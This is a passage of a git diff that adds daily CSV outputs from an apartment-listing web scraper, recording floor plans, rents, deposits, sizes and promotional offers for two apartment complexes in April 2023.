details! *Restrictions apply." +20230404,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A16D,1 bd/1 ba,"Starting from $2,751/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,B01,2 bd/2 ba,"Starting from $3,389/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,B03,2 bd/2 ba,"Starting from $3,350/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,B05,2 bd/2 ba,"Starting from $3,466/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,S01L,Studio / 1 ba,"Starting from $2,482/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230405.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230405.csv new file mode 100644 index 00000000000..d47453fd3a5 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230405.csv @@ -0,0 +1,15 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230405,modera,S01,Studio / 1 ba,"Starting from $1,769/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,S01L,Studio / 1 ba,"Starting from $2,512/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,S02,Studio / 1 ba,"Starting from $1,783/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A03,1 bd/1 ba,"Starting from $1,966/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A06,1 bd/1 ba,"Starting from $2,090/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,A16D,1 bd/1 ba,"Starting from $2,751/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,B01,2 bd/2 ba,"Starting from $3,469/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230405,modera,S01L,Studio / 1 ba,"Starting from $2,512/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230406.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230406.csv new file mode 100644 index 00000000000..0bc7a6e8cc1 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230406.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230406,modera,S01,Studio / 1 ba,"Starting from $1,867/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,S01L,Studio / 1 ba,"Starting from $2,610/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,S02,Studio / 1 ba,"Starting from $1,873/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A06,1 bd/1 ba,"Starting from $2,090/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,B01,2 bd/2 ba,"Starting from $3,456/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230406,modera,S01L,Studio / 1 ba,"Starting from $2,610/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230407.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230407.csv new file mode 100644 index 00000000000..14c3935a0d2 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230407.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230407,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,S02,Studio / 1 ba,"Starting from $1,879/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,B01,2 bd/2 ba,"Starting from $3,444/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230407,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230408.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230408.csv new file mode 100644 index 00000000000..acfbe13cbb4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230408.csv @@ -0,0 +1,15 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230408,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,B01,2 bd/2 ba,"Starting from $3,432/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230408,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230409.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230409.csv new file mode 100644 index 00000000000..e2c70587846 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230409.csv @@ -0,0 +1,27 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230409,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230409,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230409,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230409,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230409,talisman,Loft One Bedroom,1 Bed 1 Bath,"$2,666",$300,785 sq.ft.,None,N/A +20230409,talisman,AL2,1 Bed 1 Bath,"$2,626",$300,785 sq.ft.,None,N/A +20230409,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230409,talisman,1x1 Plus,2 Bed 2 Bath,"$2,750",$300,935 sq.ft.,None,N/A +20230409,talisman,Traditional Two Bedroom,2 Bed 2 Bath,"$2,959",$300,1131 sq.ft.,None,N/A +20230409,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230409,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230409,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230409,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,B01,2 bd/2 ba,"Starting from $3,420/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230409,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230410.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230410.csv new file mode 100644 index 00000000000..48a51d56d1b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230410.csv @@ -0,0 +1,27 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230410,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230410,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230410,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230410,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230410,talisman,Loft One Bedroom,1 Bed 1 Bath,"$2,785",$300,785 sq.ft.,None,N/A +20230410,talisman,AL2,1 Bed 1 Bath,"$2,745",$300,785 sq.ft.,None,N/A +20230410,talisman,1x1 Loft Plus,2 Bed 2 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230410,talisman,1x1 Plus,2 Bed 2 Bath,"$2,750",$300,935 sq.ft.,None,N/A +20230410,talisman,Traditional Two Bedroom,2 Bed 2 Bath,"$2,959",$300,1131 sq.ft.,None,N/A +20230410,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230410,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230410,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230410,modera,S01,Studio / 1 ba,"Starting from $1,874/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A09,1 bd/1 ba,"Starting from $2,420/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A12,1 bd/1 ba,"Starting from $2,616/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,A16D,1 bd/1 ba,"Starting from $2,885/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,B01,2 bd/2 ba,"Starting from $3,408/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,B03,2 bd/2 ba,"Starting from $3,517/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230410,modera,S01L,Studio / 1 ba,"Starting from $2,617/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230411.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230411.csv new file mode 100644 index 00000000000..4876a4a0a95 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230411.csv @@ -0,0 +1,27 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230411,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230411,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230411,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230411,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230411,talisman,Loft One Bedroom,1 Bed 1 Bath,"$2,908",$300,785 sq.ft.,None,N/A +20230411,talisman,AL2,1 Bed 1 